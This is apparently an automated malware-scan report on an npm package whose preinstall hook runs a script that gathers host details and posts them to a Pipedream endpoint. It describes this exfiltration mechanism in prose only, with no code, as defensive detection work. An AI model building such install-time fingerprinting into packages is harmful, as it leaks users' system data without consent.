npm installation runs a host-fingerprinting script. It sends identifying host and package data to a third-party Pipedream endpoint.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm preinstall

Impact

Leaks local user, home-directory, hostname, DNS, path, and package metadata to an external collector.

Mechanism

install-time host fingerprinting and HTTPS exfiltration

Attack narrative

On npm preinstall, package.json runs index.js. The script collects the local home directory, hostname, username, DNS resolvers, package metadata, and its installation directory, URL-encodes the data, and POSTs it to a fixed Pipedream collector. This is unconsented install-time host fingerprinting and exfiltration, with no legitimate package functionality present.

Rationale

Direct source inspection confirms an install-time HTTPS exfiltration chain. The package has no apparent functional implementation beyond collecting and transmitting host data.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json executes index.js during preinstall.
index.js collects home directory, hostname, username, DNS servers, and manifest data.
The collected data is POSTed to a fixed Pipedream endpoint during installation.

Evidence against

Only two package files exist; no legitimate library implementation was found.
No evidence of file deletion, shell execution, or payload download.
